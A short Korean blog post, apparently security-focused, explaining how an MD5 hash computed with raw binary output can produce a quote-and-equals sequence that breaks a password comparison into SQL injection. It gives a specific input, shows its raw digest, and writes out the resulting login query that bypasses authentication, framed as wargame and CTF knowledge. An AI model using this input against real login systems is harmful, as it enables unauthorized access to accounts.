md5 의 옵션중 raw_output 옵션이 있는데, 이 raw_output 을 이용하면 취약성이 존재한다.


아는 사람이야 다 알지만 특수한 경우이고 아직 잘 알려지진 않아서 대회 문제나 워게임 등에 종종 등장하기도 한다.


raw_output 옵션을 True 로 주면 md5 의 값이 hex 값이 아니라 binary 값으로 출력이 된다.



root@bt:~# python -c 'import hashlib;print hashlib.md5("123").hexdigest()'

202cb962ac59075b964b07152d234b70



root@bt:~# python -c 'import hashlib;print hashlib.md5("123").digest()'
 ,�b�Y[�K-#Kp


위처럼 문자가 직접 출력이 되는데, 이와 같은 경우 패스워드 비교문에 raw_output 값을 true 로 주면 아래와 같은 취


약성이 발생한다. 아래와 같이 output 에 '=' 문자가 포함되는 경우 sql injection 이 가능해 진다.



root@bt:~# python -c 'import hashlib;print hashlib.md5("9235566").digest()'

���'='ә�0�����



로그인 쿼리문 : select * from user where id=입력값 and password=입력값


취약점을 악용한 쿼리문 : select * from user where id='admin' and password='���'='ә�0��'




password='abc'='def' 으로 false injection 이 되어 1=1 과 동일한 결과값이 출력된다.







+ Recent posts